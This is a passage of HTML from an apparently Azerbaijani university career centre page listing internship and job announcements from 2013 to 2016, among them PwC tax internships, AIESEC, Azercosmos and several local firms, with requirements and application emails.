vəzifələri prioritet imkanı</li></ul><br>\r\n<p>&nbsp;</p>\r\n<p><strong>Gələcək işçilərimizdə baxdığımız\r\nbacarıqlar</strong>\r\n:</p>\r\n<p>&nbsp; Bütün insanlara bizim biznes\r\nstrategiyası çatdırılması üçün dəstək&nbsp;&nbsp;\r\nbacarıq və davranışları nümayiş etdirmək lazımdır. Bu bizim biznesimiz və\r\nmüştərilərimiz üçün vacibdir . Bu bacarıqlar və davranışlar bizim liderlik\r\nbünğvrəmiz “ PWC Proffisonal”ı yaradır .</p>\r\n<p><strong>Pwc\r\n</strong></p><p><strong>Haqqımızda </strong>: </p>\r\n<p>PwC\r\nsənaye ictimai etimadın artırılması və müştərilərimiz və maraqlı tərəflər üçün\r\ndəyər artırmaq üçün audit, vergi və biznes konsaltinq xidmətləri göstərir.\r\nBizim şəbəkə&nbsp; 157 ölkə-dən çox 195,000 nəfər\r\narasında təcrübə, və perspektivlər və praktiki məsləhətlər inkişaf etdirir. </p>\r\n<p>Təcrübə\r\nProqramı Vergi : </p>\r\n<p>Bizim\r\ntəcrübə proqramı sizi&nbsp; misilsiz\r\nimkanlarla təcrübəli insanlarla işləmək yeni bacarıq və keyfiyyətlərlə təmin edə\r\nbilər , üniversitetdə öyrəndiklərinizi tədbiq etmək və iş həyatında PWC-də necə\r\nişləmək imkanı verəcək . </p>\r\n<p>Aparıcı\r\ntəcrübə proqramımıza qoşulun və siz bizim qrupun bir parçası olacaqsınız müştərilərin\r\nhər fəaliyyəti ilə tanış olacaq, işlərini anlmaq və müəyyənləşirmək üçün bizim\r\nyüksək keyfiyyətli fikir və dəyərlərimizi əlavə edə bilərsiniz . </p>\r\n<p>Koorparativ\r\nidarəetməyə giriş kritik məsələdir və etbirarlılıq vacib rol oynayır bizness\r\ninformasiyasının aktuallığıdır . </p>\r\n<p>Nifuzlu\r\nmüştərilərimizlə işləmək və biznes bacarıqlarınızin inkişafı və karyera üçün\r\nehtiyacınız olduğu bilik və münasibətləri əldə edəcəksiniz .</p>\r\n<p>Biz\r\n6-9 ay ərzində böyük ailənin&nbsp; bir hissəsi\r\nolmaq üçün itəcrübə imkanı&nbsp; təklif\r\nedirik.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Nə təklif edirik : <br>\r\n&nbsp;</strong></p>\r\n<p><strong>Sürətli profisional artım</strong> : Onun uğurla tamamlanmasını təmin etmək üçün ilk\r\ngündən ütibarən bir proyektin parçası olma məsuliyyəti. Məsuliyyətiniz və\r\nproyektdəki rolunuz irəliləyişiniz kimi ı böyüyəcək . Bizdə iki layihə eyni\r\ndeyil . Hər nişan problemləri sizin məhdudiyyətləri və sürətli artımı təmin\r\nedir. </p>\r\n<p><strong>Liderlərlə qarşılqlı əlaqə</strong> : Fərqli keçmişə və təcrübəyə sahib&nbsp; kalleqalarla iş , sənayədə kimlər doğru\r\nliderdilər . Aparıcı idarə , şirkət və təşkilatlarla birbaşa iş şansı əldə edəcək,onların\r\nproblemlərini analiz edəcək öz fikirlərinizi irıli sürəcəksiniz . </p>\r\n<p><strong>Biz qrupdan ziyadə ailəyik</strong> : Bizim qrupun üvü olacaqsınız idarəçiliklər hər\r\nzaman müzakirələrə təkliflərə açıq və ideyalarınıza hazırdır . &nbsp;Qeyri-rəsmi və dostcanlı komandanın üzvü\r\nolacaqsınız hansı ki burda üzvlər bir birlırini dəyərləndirirlər . Yalnız\r\niearxiya ləyaqət prinsipinə əsaslanır . </p>\r\n<p>s<strong>abah bir iş lideri olmaq imkanı</strong>: Bizim\r\nməzunlar müxtəlif sahələrdə aparıcı şirkət və təşkilatlarda rəhbər vəzifələrdə\r\nsaxlanılır. Siz sağlam təməl yaratmaq üçün imkan ,ən yaxşı strukturlaşdırılmış\r\ndüşüncə , problem həll etmək və təqdimat bacarıqlarınızı inkişaf etdirəcəksiniz\r\n. </p>\r\n<p><strong>Siz əldə edəcəksiniz</strong> : </p>\r\n<br><ul><li>PwC\r\nAzərbaycan Təsisatlar Vergisi konsaltinq daxilindı işləmək şansı</li><li>Daha\r\nböyük heyətin nəzarəti altında xüsusi məsələlər üzrə əsas tədqiqatlar həyata\r\nkeçirilməsi;</li><li>Vergi\r\nvə qanunvericilik üzrə bilik və bacarıqların əldə olunması , gündəlik layihə&nbsp; və bizim şüştərilərə konsultasiya məktubları</li><li>Bizim\r\nproffisional komanda ilə texniki bacarıqların inkişaf etdirilməsi və gündəlik\r\nlayihələrin dəstəklənməsi</li></ul><br>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Tələblər</strong> : </p>\r\n<p>İdeal namizəd kimi siz sahib olmalısınız :</p>\r\n<br><ul><li>Vergi\r\nqanunvericiliyinə İqtisadiyyat və Mühasibatlıq , MBA ,LLB , və ya LLM ilə məzun\r\nolma ,Xarici Universitet bitirmiş məzunlara üstünlük verirlir</li><li>Azərbaycan\r\n, Rus , İngilis dillərində sərbəst yazma və danımaq ( Digər dillərin bilinməsi\r\nmüsbət dəyərlənidirləcək )</li><li>Vergi\r\nAzərbaycan qanunvericiliyinə, habelə beynəlxalq vergi ümumi prinsipləri bilmə;</li><li>Word,\r\nExcel, PowerPoint təcrübəli bilik</li><li>Güclü\r\nanalitik və yaxşı problem quruluşlanması bacarıqları</li><li>hazır\r\nyeni və çətin vəzifələr boynuna götürəcək</li><li>Güclü\r\nünsiyyət və komanda ilə işləmək bacarığı</li><li>Hər\r\nhansı işdə təcrübə - fon yaxşıdır amma tələb deyil</li><li>motivasiya\r\nvə təşəbbüs nümayişi</li></ul><br>\r\n<p>&nbsp;</p>\r\n<p><strong>Gələcək işçilərimizdə baxdığımız bacarıqlar : </strong></p>\r\n<p>&nbsp; Bütün insanlara bizim biznes strategiyası\r\nçatdırılması üçün dəstək&nbsp;&nbsp; bacarıq və\r\ndavranışları nümayiş etdirmək lazımdır. Bu bizim biznesimiz və müştərilərimiz\r\nüçün vacibdir . Bu bacarıqlar və davranışlar bizim liderlik bünğvrəmiz “ PWC\r\nProffisonal”ı yaradır .</p>\r\n<p>PwC\r\nProfessional beş əsas atributlara diqqət yetirir ; bütün rəhbərlik&nbsp; biznes zəkası, texniki imkanları, qlobal\r\nbacarıq və münasibətlər.</p>\r\n<p>Bizlider\r\nolmaq üçün hərkəsi gözləyirik çünki bütün siniflərdə vəişimizin bütün sahələrində\r\nişi inkişaf etdirmək və dəyərləndirlməkçün&nbsp;\r\nbu çərçivədən istifadə edin . </p>\r\n<p>&nbsp;</p>\r\n<p>Daha artıq\r\ninformasiya üçün ziyarət edə bilərsiniz : http://www.pwc.com/c1/en/index.jhtml</p>\r\n<p>&nbsp;</p>\r\n<p>Necə tədbiq\r\netməli : </p>\r\n<p>Intern\r\n-Vergi vakansiya&nbsp; # 12794BR müraciət edərək\r\non-line müraciət edin bizim</p>\r\n<p>www.pwc.com/az~~pobj\r\nKaryera bölmə. Müraciət üçün son tarix 2016 Noyabr 01</p><p><br></p><p><strong>PWC</strong></p><p>PwC\r\nProfessional beş əsas atributlara diqqət yetirir ; bütün rəhbərlik&nbsp; biznes zəkası, texniki imkanları, qlobal\r\nbacarıq və münasibətlər.</p>\r\n<p>Bizlider\r\nolmaq üçün hərkəsi gözləyirik çünki bütün siniflərdə vəişimizin bütün sahələrində\r\nişi inkişaf etdirmək və dəyərləndirlməkçün&nbsp;\r\nbu çərçivədən istifadə edin .</p>\r\n<p>Daha\r\nartıq informasiya üçün ziyarət edə bilərsiniz : <a href=\"http://www.pwc.com/c1/en/index.jhtml\">http://www.pwc.com/c1/en/index.jhtml</a></p>\r\n<p>Necə\r\ntədbiq etməli : </p>\r\n<p>Intern -Vergi vakansiya&nbsp; # 12794BR müraciət edərək on-line müraciət\r\nedin bizim</p>\r\n<p>www.pwc.com/az~~pobj Karyera bölmə.\r\nMüraciət üçün son tarix 2016 Noyabr 01</p><p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;text-indent:18.0pt;line-height:normal\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;text-indent:18.0pt;line-height:normal\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;text-indent:18.0pt;line-height:normal\"\"=\"\"><strong><br></strong></p><p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;text-indent:18.0pt;line-height:normal\"\"=\"\"><strong>“LeveLand” Təhsil Mərkəzi işçi axtarır!</strong></p><p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;text-indent:18.0pt;line-height:normal\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-indent:18.0pt;line-height:normal\"\"=\"\"><strong>Tələbələr və məzunlar üçün təcrübə proqramı </strong></p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-indent:18.0pt;line-height:normal\"\"=\"\"><strong>Haqqında: </strong>“LeveLand” Təhsil Mərkəzi təlim kursları, seminarlar, dil\r\nkursları, təqaüd proqramları və karyera kursları təqdim edir.</p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-indent:18.0pt;line-height:normal\"\"=\"\"><strong>Tələblər:</strong> İngilis və\r\nrus dillərində səlis danışmaq;</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:35.4pt;text-indent:35.4pt;line-height:normal\"\"=\"\">Aktiv və məsuliyyətli olmaq.</p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:justify;text-indent:18.0pt;line-height:normal\"\"=\"\">Maraqlananlar öz CV-lərini başlıq hissədə “<em>Internship_LeveLand</em>” yazaraq,<a href=\"mailto:uhuseynova@khazar.org\">uhuseynova@khazar.org</a> e-poçt ünvanına göndərə bilərlər.</p>  <p><br></p><p><br></p><p><br></p><p><strong>“CIBS KÖNÜLLÜLƏR\r\nPROQRAMI”na SƏN DƏ QOŞUL!</strong><br>\r\n<br>\r\nCIBS-də özünü inkişaf etdirmək ,təcrübə toplamaq, bizim təlimlərimizdə iştirak\r\netmək və yeni dostlar qazanmaq istəyirsənsə, CIBS komandasına sən də qoşul.<br>\r\n<br>\r\n“CIBS KÖNÜLLÜLƏR PROQRAMI”na qoşulmaqla siz:<br>\r\n<br>\r\n- İlk iş təcrübənizi qazanacaqsınız<br>\r\n- Komandada işləməyi öyrənəcəksiniz<br>\r\n- Layihələrdə iştirak edəcəksiniz<br>\r\n- Liderlik bacarıqlarınızı inkişaf etdirəcəksiniz<br>\r\n- &nbsp;Bacarıq və resuslarınızı üzə\r\nçıxaracaqsınız<br>\r\n- Müxtəlif mütəxəssis və psixoloqlarla ünsiyyətdə olacaqsınız.<br>\r\n- Karyeranız üzrə yeni bilik və bacarıqlar əldə edəcəksiniz.<br>\r\n- Və sonda təcrübə proqramından keçdiyiniz haqda TÖVSİYYƏ MƏKTUBU alacaqsınız.<br>\r\n<br>\r\n<strong>QEYD*</strong> Könüllü proqramı tələbələr\r\nüçün nəzərdə tutulmuşdur.<br>\r\n<br>\r\n<strong>HAQQIMIZDA</strong><br>\r\nCIBS (Caspian International Business Sevices) şirkəti təlim və konsultasiya\r\nxidmətləri üzrə 2013-cü ildən etibarən Azərbaycanda fəaliyyət göstərir. Şirkətin\r\nmütəxəssisləri əsasən xüsusi fəaliyyət sahəsi olan Profaylinq , yalan üzrə\r\nekspertlər və psixoloqlar qrupundan ibarət olub, sözügedən sahə üzrə təlim və\r\ndigər konsultasiya xidmətləri göstərirlər.<br>\r\n<br>\r\n<strong>MƏQSƏDİMİZ:</strong><br>\r\nCIBS şirkəti olaraq biz təhsil və inkişafı öz işimizdə prioritet tutaraq,\r\npsixologiya elminə yeni prizmadan baxmağı və praktik yanaşmanı qarşımıza məqsəd\r\nqoymuşuq. Daimi inkişaf, yenilikçilik və bunların timsalında keyfiyyət və müştəri\r\nməmnunluğu müəssisəmizin əsas hədəfləridir.<br>\r\n<br>\r\n  <br></p><p><strong>&nbsp;</strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong>Azersun\r\nHolding ödənişli \"Təcrübə proqramı\"-nı açıq elan edir.</strong>&nbsp;</p><p>İş yeri:\r\nAzərbaycan Sənaye Bankı ASC&nbsp;</p><p>\r\nTəcrübə müddəti: 3 Ay&nbsp;</p><p>\r\nƏsas tələblər:&nbsp;</p><ul><li>Ali iqtisadi təhsil&nbsp;</li><li>Dil bilikləri: Azərbaycan, rus və ingilis&nbsp;</li></ul>\r\n<p>Təcrübə\r\nproqramını uğurla başa çatdıran namizədlər Azərbaycan Sənaye Bankında işlə\r\ntəmin olunacaqlar.\r\nMaraqlanan\r\nşəxslərdən CV-lərini mözvu yerinə “Təcrübə proqramı” yazaraq cv@azersun.com\r\nünvanına göndərmələri xahiş olunur.  <br></p><p><br></p><p><br></p><p><br></p><div><p><strong>&nbsp;</strong><strong>“AZERCELL GÜNÜ</strong><strong>\"</strong></p><p>Barama Layihəsinin Təqdimatı</p><p>17 Mart, 2016</p><p>Bütun Günü</p><p>&nbsp;Neftçilər korpusu</p><p>Maraqlananlar bütün sualları ilə HELP DESK-ə yaxınlaşaraq ətraflı məlumat ala biləcək!</p><p>&nbsp;</p><h3><strong>AIESEC təcrübə imkanları</strong></h3><p>\"Global Citizen\" – xaricdə təcrübə proqramıdır; bu proqram gənclərə könüllü kimi çalışaraq şəxsiinkişaf, liderlik bacarıqlarını artırmaq, öz ölkə və mədəniyyətlərini təmsil etmək və eynizamanda, yeni mədəniyyətləri kəşf etmək şansı verir.Qeyd olunan təcrübə proqramı AIESEC Azərbaycan Gənclər təşkilatı tərəfindən Gənclər vəİdman Nazirliyi dəstəyi ilə 9 ildir ki təşkil olunur. Proqramın əsas məqsədi Azərbaycan gəncləriüçün yeni imkanlar yaratmaq, onların xarici ölkələrdə asanlıqla beynəlxalq bir təcrübəqazanmaqlarını təmin etməkdir.Global Citizen təcrübə proqramı vasitəsi ilə gənclər 6 həftə fərqli bir ölkədə, fərqli şərait vəmühitdə, beynəlxalq bir komanda ilə yaşayıb və işləyərək böyük təcrübə qazanmaq imkanı əldəedir.AIESEC Azərbaycan Gənclər Təşkilatı gənclərin bu qış \"Global Citizen\" proqramındanfaydalanması üçün qeyd olunan proqrama qəbulu başlamışdır. Bu proqramda iştirak etməküçün aşağıda verilən forma ilə müraciət etməlidirlər.Maraqlanan gənclər AIESEC in Azerbaijan təşkilatının rəsmi veb-saytı olan aiesec.az daxilolaraq keçiriləcək \"Global Citizen\" təcrübə proqramları barədə ətraflı məlumat ala bilər.Proqram May-Avqust aylarında 6 həftə davam etmək şərti ilə baş tutacaq.Bu proqram daxilində AIESEC təşkilatı tələbələri layihə müddəti ərzində qalmaq üçün yer(yataqxana və yaxud \"host family\" - qonaq edən ailə) və qida (layihədən asılı olaraq gündə 1-2dəfə) ilə təmin edir. İkitərəfli uçuş bileti və viza xərcləri layihə iştirakçısı tərəfindənqarşılanacaqdır.Bütün yuxarıda göstərilən şərtlər ilə Global Citizen təcrübə proqramının xidmət ödənişi 200 AZNtəşkil edir.Bu yay üçün əməkdaş ölkələr hardakı tələbələrimiz təcrübə keçəcək bunlardır:Xorvatiya, Bolqariya, Türkiyə, Ukrayna, Polşa, Rumıniya, Mərəkeş, Slovakia, Bosniya vəHerseqovina.Proqramın Tək Şərti:-İngilis dili ən azı Pre-Intermadiate səviyyə</p><h3><strong>Təcrübə Proqramı</strong></h3><p>&nbsp;</p><p><strong>Simurq Azərbaycan Mədəniyyət Assosiasiyasında Təcrübə Proqramı</strong></p><p>Təcrübə Proqramının əsas məqsədi tərcübəçinin işgüzar münasibətlər mədəniyyətini və idarəetmə&nbsp;mədəniyyətini dərindən mənimsəməsinə praktiki şərait yaratmaq və onu Assosiasiyanın yerli və&nbsp;beynəlxaslq fəaliyyəti ilə tanış etməkdir. Bu Təcrübə Proqramında iştirak etməklə təcrübəçinin&nbsp;beynəlxalq işgüzar etikaya dair nəzəri bilik və bacarıqlarına praktiki biliklər də əlavə olunacaqdır.&nbsp;Təcrübəçilər Proqram müddətində qabaqcıl ideya və təkliflərlə çıxış etməli və verilən tapşırıqları&nbsp;müvəffəqiyyətlə yerinə yetirməlidirlər.Onlar həmçinin “təcrübəçilərin gözü ilə” üsulu vasitəsi ilə iş&nbsp;fəaliyyətinin daha da inkişafını təmin edəcəklər.<br><em><strong>Namizədə dair Tələblər</strong></em><br>Namizəd öz CV-nə dəqiq olaraq dil biliklərini əlavə etməlidir. Təşkilatçılıq qabiliyyətinə xüsusi önəm&nbsp;verilir. Bundan başqa namizəd ingilis dili bacarıqlarına malik olmalı və azərbaycan və ya rus&nbsp;dillərindən birində danışa bilməlidir.<br><em><strong>Təcrübə müddəti</strong></em><br>Təcrübə Proqramı ildə üç rüb: noyabr-iyun &nbsp;olmaqla təşkil edilir.<br><em><strong>Tərcübəçinin öhdəlikləri<br></strong></em>Təcrübəçilər etik mədəniyyət idarəetmə mədəniyyəti hüquqi mədəniyyət və intelektual mədəniyyət&nbsp;üzrə mövzulardan biri üzrə müxtəlif mövzularda tədqiqatlar aparacaq və gündəlik verilən tapşırıqları&nbsp;yerinə yetirəcəkdir. Tərcübəçi hər bir halda marketinq mütəxəssisi fəaliyyətinə cəlb olunacaqdır.Təcrübəçilər həmçinin konfrans, sərgi və ya seminar kimi xüsusi və ya təsadüfi olan istənilən&nbsp;tədbirlərə töfhə verə bilər. Seçilmiş namizədə təfsilatlı iş təsviri təqdim olunacaqdır.<br><em><strong>Karyera imkanları</strong></em><br>Təcrübə Proqramının məqsədi sonradan təcrübəçini Kulturologiya Mərkəzi MMC-də marketinq&nbsp;mütəxəssisi vəzifələrinə qəbul etmək olacaq.<br>Tərcübə proqramı ödənişsiz əsasladır.Simurq Azərbaycan Mədəniyyət Assosiasiyasında &nbsp;təcrübə imkanları haqqında əlavə məlumat üçün,Karyera Mərkəzinə müraciət edə bilərlər.<br>Öz tərcümeyi – halınızı (CV) uhuseynova@khazar.org ünvanına göndərin.</p><p>&nbsp;</p><p><strong>Hörmətli Kompüter elmləri, Kompüter Mühəndisliyi və Telekommunikasiya tələbələri və Məzunları,</strong></p><p>Prosys MMC Təcrübə proqramı üçün potensiallı namizədlər axtarır. Xahiş olunur maraqlanan namizədlər&nbsp;<br>CV-lərini mövzu yerinə “Internship in Prosys” yazaraq uhuseynova@khazar.org ünvanına 9 oktyabr 2015-<br>ci ilədək göndərsinlər.<br>Tələb olunan sahələr<br>Şəbəkə&nbsp;<br>Proqramlaşdırma<br>Telekommunikasiya<br>Müsahibəyə seçilmiş namizədlər dəvət olunacaqlar.<strong><br></strong></p><p>&nbsp;</p><p><strong>Əziz Tələbələr və Məzunlar,</strong></p><p><strong>FireWorks HRM iş elanı edir!</strong></p><p>İnsan Resursları (İR) üzrə təcrübə əldə etmək istəyən namizədlər sənədlərini gönədər bilərlər.</p><p>Tələblər:</p><br><ul><li>Dil bacarıqları: Rus, İngilis və Azərbaycan dilini səlis bilmə bacarığı</li><li>Kompyuter Bacarıqları: Microsoft Office Proqramını yüksək səviyyədə bilmək</li><li>Şəxsi bacarıqlar: özünə inamlı olmaq, öz-özünü motivasiya edən, diqqətli, sosial şəbəkələrdə aktiv olan, ünsiyyətcil və dinamik</li></ul><br><p>Təcrübə Proqramın müddəti: 3 ay</p><p>Bütün potensiallı namizədlər&nbsp;<a href=\"mailto:cv@fworks.az\">cv@fworks.az</a>&nbsp;e-mail adresinə, e-mail başlığı “My Name is Intern” qeyd edib göndərə bilərlər.</p><p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>Tezliklə!</strong></p><p><strong>Təcrübə proqramları yarmarkasından əvvəl nə etməliyəm?</strong></p><p>Təcrübə proqramı yarmarkasına necə hazırlaşmaq barədə elan olunmuş və elan olunacaq seminarlarda iştirak etmək.</p><p><strong>Rezumeni hazır etməli</strong>:&nbsp;sizin rezumenizin ilkin variantı hazır olanda siz onu təkmilləşdirmək üçün Karyera Mərkəzinə&nbsp; gələ bilərsiniz.</p><p><strong>Təcrübə proqramı yarmarkası siyahısını yoxlamaq:&nbsp;</strong>bu yarmarkalarda iştirak etməzdən əvvəl, vaxtında müvafiq təcrübə proqramında iştirak etmək və öz ixtisasına uyğun müvafiq sahələrə cəlb oluna bilmək üçündür.</p><p><strong>&nbsp;</strong></p><p><strong>Nə geyinməliyəm?</strong></p><p>Geyim üslubu öz sahənə uyğun dəyişə bilər. Təcrübə yarmarkasına gedərkən kostyum geyinmək lazım deyil. Bir çox oğlan və qız tələbələr, sadə köynək, ətək və ya şalvar geyinsələr yaxşı olardı. Pencək və qalstuk sənin geyiminə yaxşı əlavə ola bilər.</p><p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>Əziz inşaat mühəndisləri!</strong></p><p>&nbsp;Zəhmət olmasa, təcrübə proqramı üçün doldurulmuş müraciət formunuzu AMEC-ə göndərin.</p><p>Əlavə məlumat almaq üçün zəhmət olmasa, Peşə İnkişaf Mərkəzinə yaxınlaşın!</p><p>&nbsp;</p><hr><p><br></p><p><strong>Ə</strong><strong>ziz</strong><strong>&nbsp;</strong><strong>t</strong><strong>ə</strong><strong>l</strong><strong>ə</strong><strong>b</strong><strong>ə</strong><strong>l</strong><strong>ə</strong><strong>r</strong><strong>!</strong>&nbsp;</p><p>Bakı Avropa Oyunları stüardessa vəzifəsinə xanım namizədlər axtarır.</p><p>Maraqlanan namizədlər öz CV-ni aşağıdakı e-mail ünvanına göndərsinlər:&nbsp;<a href=\"mailto:leliyeva@khazar.org\">leliyeva@khazar.org</a>&nbsp;və ya Peşə İnkişaf Mərkəzinə yaxınlaşın (Otaq 206, köhnə korpus)</p><p>Peşə İnkişaf Mərkəzi</p><p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>Ə</strong><strong>ziz</strong><strong>&nbsp;3-</strong><strong>c</strong><strong>ü&nbsp;</strong><strong>v</strong><strong>ə 4-</strong><strong>c</strong><strong>ü&nbsp;</strong><strong>il</strong><strong>&nbsp;</strong><strong>t</strong><strong>ə</strong><strong>l</strong><strong>ə</strong><strong>b</strong><strong>ə</strong><strong>l</strong><strong>ə</strong><strong>ri</strong><strong>!</strong></p><p>Bildiririk ki,&nbsp;<strong>JUNIOR ACHIEVEMENT AZERBAIJAN</strong>&nbsp;Karyera Oriyentasiya Layihəsinə təcili namizədlər axtarır.</p><p>Yalnız qızlar bu vəzifəyə müraciət edə bilərlər!&nbsp;</p><p>Zəhmət olmasa adınızı, soyadınızı, telefon nömrənizi və e-mail ünvanızı aşağıdakı e-mail-ə göndərin:&nbsp;<a href=\"mailto:uhuseynova@khazar.org\">uhuseynova@khazar.org</a><strong>&nbsp;&nbsp;</strong></p><p><strong>&nbsp;</strong></p><hr><p><br></p><p><strong>Fireworks</strong>&nbsp;</p><p>&nbsp;Humanitar və sosial elmlər fakültəsinin 1 məzununa təcrübə proqramı təklif edir.</p><p>Yeganə tələb həvəs və rus, ingilis və Azərbaycan dilində yaxşı bilikdir.&nbsp;</p><p>Təcrübənin əsas üstünlüyü odur ki, məzunlar ümumi ofis menecmentini, sənədlərlə işləməyi, ofis ləvazımatlarını istifadə etməyi öyrənəcək və HR sahəsində təcrübə əldə edəcəklər. Təcrübənin sonunda məzuna Tövsiyə məktubu və şirkət tərəfindən sertifikat veriləcək.</p><p>Maraqlanan namizədlər öz CV-ni aşağıdakı e-mail ünvanına göndərə bilərlər:&nbsp;<a href=\"mailto:uhuseynova@khazar.org\">uhuseynova@khazar.org</a>.</p><p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>Ə</strong><strong>ziz</strong><strong>&nbsp;</strong><strong>elektronika</strong><strong>,&nbsp;</strong><strong>telekommunikasiya</strong><strong>&nbsp;</strong><strong>v</strong><strong>ə&nbsp;</strong><strong>radiotexnika</strong><strong>&nbsp;</strong><strong>m</strong><strong>ü</strong><strong>h</strong><strong>ə</strong><strong>ndisliyi</strong><strong>&nbsp;</strong><strong>m</strong><strong>ü</strong><strong>t</strong><strong>ə</strong><strong>x</strong><strong>ə</strong><strong>ssisl</strong><strong>ə</strong><strong>ri</strong><strong>&nbsp;</strong></p><p>Sizin üçün xoş bir xəbərimiz var!</p><p><strong>AZERCOSMOS</strong><strong>&nbsp;</strong>Təcrübə Proqramına qoşulmağınız üçün sizin CV-nizi istəyir.</p><p>3-cü və 4-cü il tələbələri öz CV-ni təcili aşağıdakı e-mail ünvanına göndərsinlər:&nbsp;<a href=\"mailto:uhuseynova@khazar.org\">uhuseynova@khazar.org</a>.</p><p><strong>Son müraciət tarixi</strong><strong>: 7&nbsp;</strong><strong>fevral</strong><strong>&nbsp;</strong><strong>2014, 15:00</strong><strong>.</strong></p><p><strong><br></strong></p><hr><p><br></p><p><strong>H</strong><strong>ü</strong><strong>quq</strong><strong>&nbsp;</strong><strong>v</strong><strong>ə İ</strong><strong>nki</strong><strong>ş</strong><strong>af</strong><strong>&nbsp;İ</strong><strong>ctimai</strong><strong>&nbsp;</strong><strong>Assosasyas</strong><strong>ı&nbsp;</strong><strong>“</strong><strong>t</strong><strong>ə</strong><strong>cr</strong><strong>ü</strong><strong>b</strong><strong>əç</strong><strong>i</strong><strong>”</strong><strong>&nbsp;</strong>vəzifəsinə namizədlər axtarır!</p><p>İngilis dili filologiyası və ingilis dili tərcüməçiliyi ixtisasının tələbələri təcili olaraq müraciət edə bilərlər.</p><p>CV-inizi aşağıdakı e-mail adresinə göndərə bilərsiniz:&nbsp;<a href=\"mailto:uhuseynova@khazar.org\">uhuseynova@khazar.org</a>.</p><p><strong>Son müraciət tarixi</strong><strong>:&nbsp; 4&nbsp;</strong><strong>fevral</strong><strong>, 2014.</strong></p><p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>“Heritas Translation” t</strong><strong>əcrübə proqramı elan edir</strong><strong>!</strong></p><p>Təcrübə proqramı indi başlayacaq və mart ayının sonuna kimi davam edəcək.</p><p>CV-inizi başlıq hissəsində&nbsp;<strong>“Heritas Translation İnternship”</strong>&nbsp;yazaraq, bu e-mail ünvanına göndərin: &nbsp;<a href=\"mailto:uhuseynova@khazar.org\">uhuseynova@khazar.org</a>.<strong>&nbsp;</strong>&nbsp;</p><p>Gənc tərcüməçilərin təcrübə əldə etmək üçün təcrübə proqramları axtarmaları tövsiyə olunur.</p><p>Şansınızı qaçırmayın!</p><p>&nbsp;</p><hr><p>&nbsp;</p><p><strong><em>Caspian Investment and Development Corporation (CIDC</em></strong>)&nbsp;MMC Marketinq<strong>&nbsp;</strong>Departamentində<strong>&nbsp;</strong>tədqiqat və inkişaf üzrə təcrübə proqramına Xəzər Universitetindən namizədlər axtarır. CIDC uşaq bezi, salfetlər, tualet kağızları istehsal edir.&nbsp;</p><p>Təcrübə proqramı ödənişlidir.&nbsp;</p><p>Qızlar və oğlanlar, müraciət edin.</p><p>Heç bir təcrübə tələb olunmur.</p><p>Marketinqə marağı olanlar və gələcəyin marketinq mütəxəssisləri</p><p>Təcrübə proqramı şirkətin baş ofisində keçiriləcək.</p><p>Vəzifələr: məhsulların tanıtımı, satış mərkəzlərinə ziyarətlər, şirkətin məhsulları əsasında cari bazarı izləmək və bir neçə marketinq fəaliyyəti təklif etmək haqqındadır.</p><p>Maraqlanan namizədlər öz CV-ni aşağıdakı e-mail adresinə göndərsinlər:&nbsp;<a href=\"mailto:agurbanov@cidc.az\">agurbanov@cidc.az</a>.&nbsp;&nbsp;&nbsp; &nbsp;</p><p>Telefonlar: (055) 223 84 18; (012) 489 01 10/ 130.</p><p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>Əziz tələbələr!</strong></p><p>Partnyorumuz&nbsp;<strong>SIMURG</strong>&nbsp;Təcrübə Proqramına aktiv və fərqlənən 5 namizəd axtarır.</p><p>CV-inizi təcili aşağıdakı e-mail ünvanına göndərin:&nbsp;<a href=\"mailto:uhuseynova@khazar.org\">uhuseynova@khazar.org</a>.</p><p><strong>Təcrübə müddəti:&nbsp;</strong>noyabr-iyun.</p><p>Karyeranız burdan başlayır!</p><p>&nbsp;</p><hr><p>&nbsp;</p><p><strong>Ç</strong><strong>ox</strong><strong>&nbsp;</strong><strong>t</strong><strong>ə</strong><strong>cili</strong><strong>!</strong><br>BM İnsan Hüquqları Ofisi təcrübəçilər axtarır:<br>Maraqlanan namizədlər öz CV-inizi aşağıdakı e-mail adresinə göndərsin:&nbsp;<a href=\"mailto:uhuseynova@khazar.org\">uhuseynova@khazar.org</a>.</p><p>&nbsp;</p><hr><p>&nbsp;</p><p>&nbsp;<strong>Psixo-nevroloji Dispanser təcrübə elan edir</strong></p><p>Vəzifə haqqında məlumat:&nbsp;Psixonevroloji dispanserində psixologiya sahəsinin xidməti və departmenti sahə və inkişaf bacarıqları proqramları xidətini göstərir.&nbsp;&nbsp;</p><p><strong>Tələblər.</strong></p><ul><li>Psixologiya sahəsinin bakalavr 3cü kurs</li><li>Sonda dərslərin 50%-I keçmək</li><li>Bacarıqlı xəstələr və əlilər ilə effektiv iş bacarığı</li><li>Fərdi və qrup ilə iş bacariğı</li><li>Çox yaxşı təşkilatı bacarıq imkanları,</li><li>Çox yaxşı inkişaf etmiş təşkilati bacarıqlar,effektiv ünsiyyət bacarığı,komanda liderliyi;</li></ul><p>İngilisce dil bacarıqları yetərli olmalıdır;&nbsp;</p><p>Maraqlanan namizədlər CV-lərini&nbsp;<strong>&nbsp;İş başlığı altında &nbsp;</strong><a href=\"mailto:uhuseynova@khazar.org\"><strong>uhuseynova@khazar.org</strong></a>&nbsp;emalinə göndərmək xahiş olunur.Yalnız seçilmis namizedlərlə əlaqə saxlanacaq. Son May 15, 2013 